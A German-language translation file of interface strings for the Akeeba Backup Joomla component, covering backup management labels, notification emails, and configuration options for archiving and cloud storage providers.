COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_PRO="<p>Ganz einfach! Wählen Sie das Kontrollkästchen neben einem Backup-Eintrag aus. Klicken Sie nun auf die Schaltfläche <em>Wiederherstellen</em> in der Symbolleiste.</p><p>Wenn Sie auf einem neuen, öffentlichen Server wiederherstellen möchten, können Sie den <a href=\"%2$s\">Website-Transfer-Assistenten</a> verwenden. Wenn Sie es lieber manuell machen oder auf Ihrem eigenen Computer oder Intranet wiederherstellen möchten, sehen Sie sich bitte unser <a href=\"%1$s\" target=\"_blank\">Video-Tutorial</a> an und <a href=\"%3$s\" target=\"_blank\">laden Sie Akeeba Kickstart Core (kostenlos) herunter</a>, um die Backup-Archive zu entpacken.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_ID="ID"
COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL="Verwalten &amp; Herunterladen"
COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION="(keine Beschreibung)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN="Herkunft"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND="Backend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI="Befehlszeile"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND="Frontend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON="JSON API"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLA="Joomla Geplante Aufgaben"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLACLI="Joomla Geplante Aufgaben (nur CLI)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT="– Herkunft –"
COM_AKEEBABACKUP_BUADMIN_LABEL_PART="Teil %02d"
COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID="Profil"
COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT="Remote gespeicherte Dateien verwalten"
COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE="Wiederherstellen"
COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE="Größe"
COM_AKEEBABACKUP_BUADMIN_LABEL_START="Backup-Startzeit"
COM_AKEEBABACKUP_BUADMIN_LABEL_END="Backup-Endzeit"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS="Status"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE="Abgeschlossen"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL="Fehlgeschlagen"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OBSOLETE="Veraltet"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK="OK"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING="Ausstehend"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_REMOTE="Remote"
COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE="Typ"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE="Backup erstellt nach"
COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE="Backup erstellt vor"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS="Ist mein Backup-Archiv noch auf meinem Server verfügbar?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME="Wie heißt es?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME_PAST="Wie hieß es?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH="Wo finde ich es auf meinem Server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH_PAST="Wo war es auf meinem Server?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS_1="Ihr Backup besteht aus einer Datei."
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS="Ihr Backup besteht aus %d Dateien."
COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO="Backup-Archiv-Informationen"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS="Ihr Backup besteht aus %d Teildateien. Sie <em>müssen</em> alle herunterladen und in dasselbe Verzeichnis legen, damit die Archivextraktion und Backup-Wiederherstellung erfolgreich ist."
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE="Das Herunterladen über Ihren Browser kann die Dateien beschädigen"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING="Wir empfehlen, diesen Dialog zu schließen und FTP im <code>Binär</code>-Übertragungsmodus oder SFTP zum Herunterladen Ihrer Backup-Archive zu verwenden."
COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID="Protokolldatei-ID"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD="Herunterladen"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM="Das Herunterladen von Backup-Archiven über Ihren Browser ist fehleranfällig\nund kann zu Dateibeschädigung und Dateiabschneidung aus Gründen führen,\ndie objektiv außerhalb unserer Kontrolle liegen (Serverkonfiguration, Website-\nKonfiguration, Drittanbieter-Plugins und Browser-Konfiguration).\n\nWir empfehlen SEHR DRINGEND, Backup-Archive immer nur\nüber FTP im Binär-Übertragungsmodus herunterzuladen\n(verwenden Sie nicht Auto oder ASCII; das beschädigt Ihre Backup-\nArchive) mit Client-Software wie FileZilla,\nCyberDuck, WinSCP oder ähnlichem; oder über den\nDateimanager des Hosting-Kontrollpanels Ihres Hosters.\n\nWenn Sie mit diesem Download fortfahren, erklären Sie ausdrücklich,\ndass Sie auf Ihr Recht auf Support für Probleme beim Herunterladen,\nExtrahieren oder Wiederherstellen von Backup-Archiven verzichten und\nverstehen, dass solche Anfragen nicht beantwortet werden.\n\nSind Sie sicher, dass Sie fortfahren möchten?"
COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT="Backup-Kommentar anzeigen / bearbeiten"
COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE="Diese Protokolldatei ist auf Ihrer Website nicht mehr verfügbar"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEDOK="Die Änderungen am Backup-Eintrag wurden erfolgreich gespeichert"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEERROR="Die Änderungen am Backup-Eintrag wurden nicht gespeichert"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETED="Backup-Eintrag und Archiv wurden erfolgreich gelöscht"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE="Backup-Archiv wurde erfolgreich gelöscht"
COM_AKEEBABACKUP_BUADMIN_UNFREEZE_OK="Eintrag(e) korrekt aufgetaut"

COM_AKEEBABACKUP_COMMON_EMAIL_BODY_INFO="Das neue Backup wurde mit Profil #%s erstellt. Es besteht aus %s Teil(en). Die vollständige Liste der Dateien dieses Backup-Satzes ist folgende:"
COM_AKEEBABACKUP_COMMON_EMAIL_BODY_OK="Akeeba Backup hat die Sicherung Ihrer Website mit der Frontend-Backup-Funktion abgeschlossen. Sie können den Administrationsbereich der Website besuchen, um das Backup herunterzuladen."
COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT="Sie haben einen neuen Backup-Teil"
COM_AKEEBABACKUP_COMMON_EMAIL_SUBJECT_OK="Akeeba Backup hat ein neues Backup erstellt"
COM_AKEEBABACKUP_COMMON_ERR_NOT_ENABLED="Vorgang nicht erlaubt"

COM_AKEEBABACKUP_CONFIG="Konfiguration"
COM_AKEEBABACKUP_CONFIGURATION="Akeeba Backup <small>Komponenten-Konfigurationsoptionen</small>"
COM_AKEEBABACKUP_CONFIG_ADVANCED="Erweiterte Konfiguration"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC="Akeeba Backup unterbricht den Verarbeitungsschritt nach dem Archivieren einer großen Datei. Wenn Sie diese Option aktivieren, arbeitet Akeeba Backup schneller. Dies kann jedoch zu Timeout- oder Internen-Server-Fehlern führen."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL="Schrittunterbrechung nach großen Dateien deaktivieren"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC="Akeeba Backup unterbricht den Verarbeitungsschritt immer dann, wenn es mit einer neuen Domain zu arbeiten beginnt. Dies verbessert die Ausführlichkeit des Prozesses, verlängert jedoch die Backup-Zeit um 10 bis 20 Sekunden. Wenn Sie diese Option aktivieren, arbeitet Akeeba Backup schneller. Sie könnten jedoch ein sprunghaftes Verhalten bei den auf der Backup-Seite gemeldeten Schritten bemerken."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL="Schrittunterbrechung zwischen Domains deaktivieren"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC="Akeeba Backup unterbricht den Verarbeitungsschritt vor dem Archivieren einer großen Datei. Wenn Sie diese Option aktivieren, arbeitet Akeeba Backup schneller. Dies kann jedoch zu Timeout- oder Internen-Server-Fehlern führen."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL="Schrittunterbrechung vor großen Dateien deaktivieren"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC="Akeeba Backup unterbricht den Verarbeitungsschritt, wenn es der Meinung ist, dass die Zeit abläuft, bevor eine Datei archiviert werden kann. Diese Berechnung ist nicht vollständig genau und kann zu langsameren Backups führen. Wenn Sie diese Option aktivieren, arbeitet Akeeba Backup schneller. Dies kann jedoch zu Timeout- oder Internen-Server-Fehlern führen."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL="Proaktive Schrittunterbrechung deaktivieren"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC="Akeeba Backup unterbricht den Verarbeitungsschritt zwischen Teilschritten der Backup-Finalisierung und Nachbearbeitung. Dies kann die Gesamtbackup-Zeit um etwa 10 Sekunden verlängern. Wenn Sie diese Option aktivieren, arbeitet Akeeba Backup schneller. Dies kann jedoch zu Timeout- oder Internen-Server-Fehlern führen."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL="Schrittunterbrechung bei der Finalisierung deaktivieren"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC="Wenn Ihr Server PHP nicht im Safe Mode ausführt und set_time_limit() unterstützt, wird Akeeba Backup versuchen, ein unbegrenztes PHP-Maximum für die Ausführungszeit festzulegen, um potenzielle Timeout-Probleme zu umgehen"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Unbegrenztes PHP-Zeitlimit setzen"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC="Weist Akeeba Backup an, zu versuchen, das PHP-Speicherlimit auf einen sehr hohen Wert (16 GB) zu erhöhen. Dadurch können Sie größere Dateien komprimieren und größere Backup-Archive mit speicherintensiven Remote-Speicheroptionen wie WebDAV hochladen. Hinweis: Damit wird nur das Limit für den maximalen Speicherverbrauch gesetzt. In den meisten Fällen verbraucht die Backup-Engine von Akeeba Backup <em>weit weniger</em> Speicher als das, typischerweise im niedrigen 20-MB-Bereich. Das Komprimieren und Hochladen größerer Dateien erfordert auch die Änderung anderer Optionen auf der Konfigurationsseite des Backup-Profils."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL="Großes Speicherlimit setzen"
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION="Sie können das Akeeba Backup-Wiederherstellungsskript optional mit einem Passwort schützen, um unbefugten Zugriff auf den Installer zu verhindern. Wenn Sie den Installer ausführen, werden Sie aufgefordert, dieses Passwort einzugeben. Bitte beachten Sie, dass bei dem Passwort zwischen Groß- und Kleinschreibung unterschieden wird, d. h. ABC, abc und Abc sind drei verschiedene Passwörter."
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE="Passwort für das Wiederherstellungsskript"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC="E-Mail an diese Adresse senden (leer lassen, um alle Super-Benutzer per E-Mail zu benachrichtigen)"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL="E-Mail-Adresse"
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION="Benennungsvorlage für das Backup-Archiv, wo zutreffend. Sie können die folgenden Makros verwenden:<ul><li><strong>[HOST]</strong> Der Hostname. WARNUNG! Dieses Tag funktioniert nicht im CRON-Modus.</li><li><strong>[DATE]</strong> Aktuelles Datum</li><li><strong>[TIME_TZ]</strong> Aktuelle Uhrzeit und Zeitzone</li></ul>Weitere sind verfügbar; bitte konsultieren Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE="Name des Backup-Archivs"
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION="Definiert das Archivformat von Akeeba Backup. Einige Engines, wie DirectFTP, erzeugen keine eigentlichen Archive, sondern übernehmen die Übertragung Ihrer Dateien auf andere Server."
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE="Archivierungs-Engine"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION="Wenn diese Option deaktiviert ist, hält Akeeba Backup das Backup an, wenn der Server mit einem Fehler antwortet. Wenn diese Option aktiviert ist, versucht Akeeba Backup, das Backup durch Wiederholung des letzten Schritts fortzusetzen. Dies gilt nur für Backend-Backups. Es wird Ihnen auch nicht ermöglichen, alle Backups, die zu einem Fehler führen, erfolgreich fortzusetzen: Nur Backup-Versuche, die vorübergehend durch Server-CPU-Nutzungsbeschränkungen oder Netzwerkausfallprobleme blockiert sind, können fortgesetzt werden."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION="Wie oft soll Akeeba Backup versuchen, das Backup fortzusetzen, bevor es endgültig aufgibt. 3 bis 5 Wiederholungsversuche funktionieren auf den meisten Servern am besten."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE="Maximale Wiederholungsversuche eines Backup-Schritts nach einem AJAX-Fehler"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION="Wie viele Sekunden soll gewartet werden, bevor das Backup fortgesetzt wird. Es empfiehlt sich, dies auf 30 Sekunden oder mehr einzustellen (120 Sekunden werden in den meisten Fällen empfohlen), um Ihrem Server die nötige Zeit zu geben, den Backup-Prozess freizugeben, bevor Akeeba Backup versucht, ihn abzuschließen."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE="Wartezeit vor dem erneuten Versuch des Backup-Schritts"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE="Backup nach einem AJAX-Fehler fortsetzen"
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="Der Name Ihres Kontos. Wenn Ihr Endpunkt foobar.blob.core.windows.net lautet, ist Ihr Kontoname <strong>foobar</strong> und Sie müssen <em>foobar</em> in dieses Feld eingeben."
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_TITLE="Kontoname"
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_DESCRIPTION="Der Windows Azure BLOB Storage-Container für die Backup-Archive. Der Container muss bereits vorhanden sein."
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_TITLE="Container"
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_DESCRIPTION="Das Verzeichnis im Windows Azure BLOB Storage-Container zum Speichern der Backup-Archive. Lassen Sie dieses Feld leer, um alles im Stammverzeichnis des Containers zu speichern."
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_DESCRIPTION="Ihren primären Zugriffsschlüssel finden Sie auf Ihrer Kontoseite auf windows.azure.com. Kopieren Sie ihn und fügen Sie ihn hier ein. Er endet immer mit zwei Gleichheitszeichen."
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_TITLE="Primärer Zugriffsschlüssel"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION="Geben Sie Ihre BackBlaze-Anwendungsschlüssel-ID ein. Diese Information finden Sie auf <a href='https://secure.backblaze.com/b2_buckets.htm'>Ihrer BackBlaze-Kontoseite</a> nach dem Klicken auf 'Show Account ID and Application Key'. Wenn Sie Ihren Master-Schlüssel verwenden, geben Sie stattdessen Ihre Konto-ID ein."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_TITLE="Anwendungsschlüssel-ID"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION="Geben Sie Ihren BackBlaze-Anwendungsschlüssel ein. Diese Information finden Sie auf <a href='https://secure.backblaze.com/b2_buckets.htm'>Ihrer BackBlaze-Kontoseite</a> nach dem Klicken auf 'Show Account ID and Application Key'. <strong>WARNUNG</strong>! Dieser wird Ihnen von BackBlaze nur EINMAL angezeigt. Um ihn erneut anzuzeigen, müssen Sie den Anwendungsschlüssel neu generieren, was dazu führt, dass alle zuvor verknüpften Instanzen von Akeeba Backup getrennt werden, bis Sie dort den <em>neuen</em> Anwendungsschlüssel eingeben."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE="Anwendungsschlüssel"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION="Ihr Backblaze-Bucket-Name"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem Bucket, in dem die Backup-Archive gespeichert werden. Lassen Sie es leer, um Dateien im Stammverzeichnis des Buckets zu speichern."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION="Wenn Sie diese Option aktivieren, führt Akeeba Backup einteilige Uploads zu Backblaze durch. Sie müssen eine kleinere Teilgröße für geteilte Archive in der Konfiguration der Archivierungsengine verwenden, um zu verhindern, dass der Upload eine Zeitüberschreitung verursacht, was dazu führt, dass der Backup-Prozess fehlschlägt."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE="Mehrteilige Uploads deaktivieren"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC="Optionen, die Akeeba Backup anweisen, wie mit Backend-Skripten umzugehen ist"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL="Backend"
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC="Soll die Backup-Startzeit in der Sicherungsverwaltungsseite in die Zeitzone des aktuell angemeldeten Benutzers übersetzt werden? Wenn auf Nein gesetzt, werden alle Backup-Startzeiten in der GMT-Zeitzone angezeigt. Diese Option beeinflusst NICHT die Variablen [DATE] und [TIME] für die Benennung von Backup-Dateien oder die Standardbeschreibung; verwenden Sie die Option Backup-Zeitzone, um zu ändern, wie diese Variablen funktionieren."
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL="Ortszeit in der Sicherungsverwaltung"
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC="Soll Benutzern beim Wiederherstellen einer Website die Option gegeben werden, alles vor dem Entpacken eines Archivs zu löschen? Diese Option gilt nur für die Professional-Version unserer Software. WARNUNG! DIES IST ÄUSSERST GEFÄHRLICH. LESEN SIE DIE DOKUMENTATION SEHR SORGFÄLTIG, BEVOR SIE DIESE OPTION AKTIVIEREN. WENN SIE DIESE FUNKTION WÄHREND DER WIEDERHERSTELLUNG VERWENDEN, VERZICHTEN SIE AUF JEGLICHES RECHT AUF SUPPORT UND ÜBERNEHMEN DIE VOLLE VERANTWORTUNG UND HAFTUNG."
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL="Option \"Alles vor der Extraktion löschen\" anzeigen"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION="Zeitzone"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC="Das Zeitzonensuffix, das neben der Backup-Startzeit in der Sicherungsverwaltungsseite angezeigt wird.<br/>Keine: Es wird kein Suffix angezeigt (nicht empfohlen).<br/>Zeitzone: Eine abgekürzte Zeitzone, z. B. CEST für Mitteleuropäische Sommerzeit.<br/>GMT-Offset: Der Versatz von der GMT-Zeitzone, z. B. GMT+01:00 (= zwei Stunden vor GMT, d. h. Mitteleuropäische Standardzeit). Bitte beachten Sie, dass der GMT-Offset während der Sommerzeit um +1 Stunde gegenüber der regulären Zeitzone liegt. Dieser Offset-Unterschied WIRD in diesem Format angezeigt."
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET="GMT-Offset"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL="Zeitzonensuffix"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE="Keine"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB="Alle konfigurierten Datenbanken (Archivdatei)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY="Nur die Hauptdatenbank der Website (SQL-Datei)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION="Welche Art von Website-Backup Akeeba Backup durchführen soll"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY="Nur Website-Dateien"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL="Vollständiges Website-Backup"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE="Nur Dateien, inkrementell"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL="Vollständige Website, inkrementelle Dateien"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE="Backup-Typ"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_DESCRIPTION="Das Verringern dieses Wertes spart Speicher und vermeidet HTTP 500-Fehler beim Sichern großer Tabellen"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_TITLE="Anzahl der Zeilen pro Stapel"
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Dateien über dieser Größe werden unkomprimiert gespeichert, oder ihre Verarbeitung erstreckt sich über mehrere Schritte (abhängig von der Archivierungsengine), um Zeitüberschreitungen zu vermeiden. Wir empfehlen, diesen Wert nur auf schnellen und zuverlässigen Servern zu erhöhen."
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_TITLE="Schwellenwert für große Dateien"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_DESCRIPTION="Entfernt den Benutzernamen und das Passwort von Datenbankverbindungen aus dem Backup"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_TITLE="Benutzername/Passwort löschen"
COM_AKEEBABACKUP_CONFIG_BOX_ACCESSTOKEN_TITLE="Zugriffstoken"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_ENABLE="Chunk-Upload aktivieren"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_SIZE="Chunk-Größe"
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem Box-Konto, in dem die Backup-Archive gespeichert werden. Lassen Sie es leer, um Dateien im Stammverzeichnis des Box-Ordners zu speichern."
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_DESC="Klicken Sie auf diese Schaltfläche, um ein neues Fenster zu öffnen, in dem Sie sich bei Ihrem Konto beim Speicheranbieter anmelden können. Schließen Sie dann das Popup-Fenster und klicken Sie auf die Schaltfläche Schritt 2 unten."
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_TITLE="Authentifizierung - Hier beginnen"
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION="Wird automatisch ausgefüllt, wenn Sie Schritt 1 der Authentifizierung oben abschließen. Teilen Sie NICHT dasselbe Token auf vielen Websites. Authentifizieren Sie stattdessen jede Website separat."
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_TITLE="Aktualisierungstoken"
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_DESCRIPTION="Akeeba Backup verarbeitet große Dateien in kleinen Chunks, um Zeitüberschreitungen zu vermeiden. Dieser Parameter definiert die maximale Chunk-Größe für diese Art der Verarbeitung."
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_TITLE="Chunk-Größe für die Verarbeitung großer Dateien"
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION="Wenn dieses Kontrollkästchen nicht aktiviert ist (Standard) und der Backup-Schritt in weniger Zeit als die konfigurierte Mindestausführungszeit abgeschlossen wird, lässt Akeeba Backup den Server warten, bis diese Zeit erreicht ist. Dies kann dazu führen, dass sehr restriktive Server Ihr Backup beenden. Das Aktivieren dieses Kontrollkästchens implementiert die Wartezeit im Browser und umgeht diese Einschränkung. WICHTIG: Diese Option gilt nur für Backend-Backups. Frontend-, JSON API- (Remote-) und Befehlszeilen- (CLI-) Backups implementieren die Wartezeit immer auf der Serverseite."
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE="Client-seitige Implementierung der Mindestausführungszeit"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="Ihr CloudFiles API-Schlüssel"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_TITLE="API-Schlüssel"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="Der CloudFiles-Container für die Backup-Archive"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_TITLE="Container"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="Das Verzeichnis im CloudFiles-Container zum Speichern der Backup-Archive. Lassen Sie es leer, um alles im Stammverzeichnis des Containers zu speichern."
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Ihr CloudFiles-Benutzername"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem CloudMe-Konto, in dem die Backup-Archive gespeichert werden. Lassen Sie es leer, um Dateien im Stammverzeichnis des CloudMe-Ordners zu speichern."
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_DESCRIPTION="Passwort"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_DESCRIPTION="Benutzername"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="Wenn aktiviert, löscht Akeeba Backup alte Backup-Dateien, wenn sie das unten definierte Limit überschreiten."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE="Anzahl-Kontingent aktivieren"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup löscht alte Backup-Dateien, wenn sie das in dieser Einstellung definierte Limit überschreiten. Mehrteilige Backups werden als <em>eine</em> Datei gezählt!<br/><br/><strong>Tipp</strong>: Wählen Sie „Benutzerdefiniert" und geben Sie Ihren gewünschten Wert ein, wenn er nicht in der Liste ist."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE="Anzahl-Kontingent"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC="Ändern Sie, wie das Startdatum/-uhrzeit von Backups in der Sicherungsverwaltungsseite angezeigt wird. Lassen Sie es leer, um die Standardformatierung zu verwenden. Sie können die Formatierungsoptionen der PHP date-Funktion verwenden, siehe: http://www.php.net/manual/en/function.date.php"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL="Datumsformat"
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_DESCRIPTION="Wenn aktiviert, wird das Backup-Archiv von diesem Server entfernt, sobald die Nachbearbeitung erfolgreich abgeschlossen ist."
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_TITLE="Archiv nach der Verarbeitung löschen"
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="Wenn aktiviert, werden symbolische Links wie normale Dateien und Verzeichnisse verfolgt. Wenn nicht aktiviert, werden symbolische Links nicht verfolgt. Wenn Sie symbolische Links verwenden, die zu einer unendlichen Link-Schleife führen, deaktivieren Sie diese Option."
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_TITLE="Symbolische Links dereferenzieren"
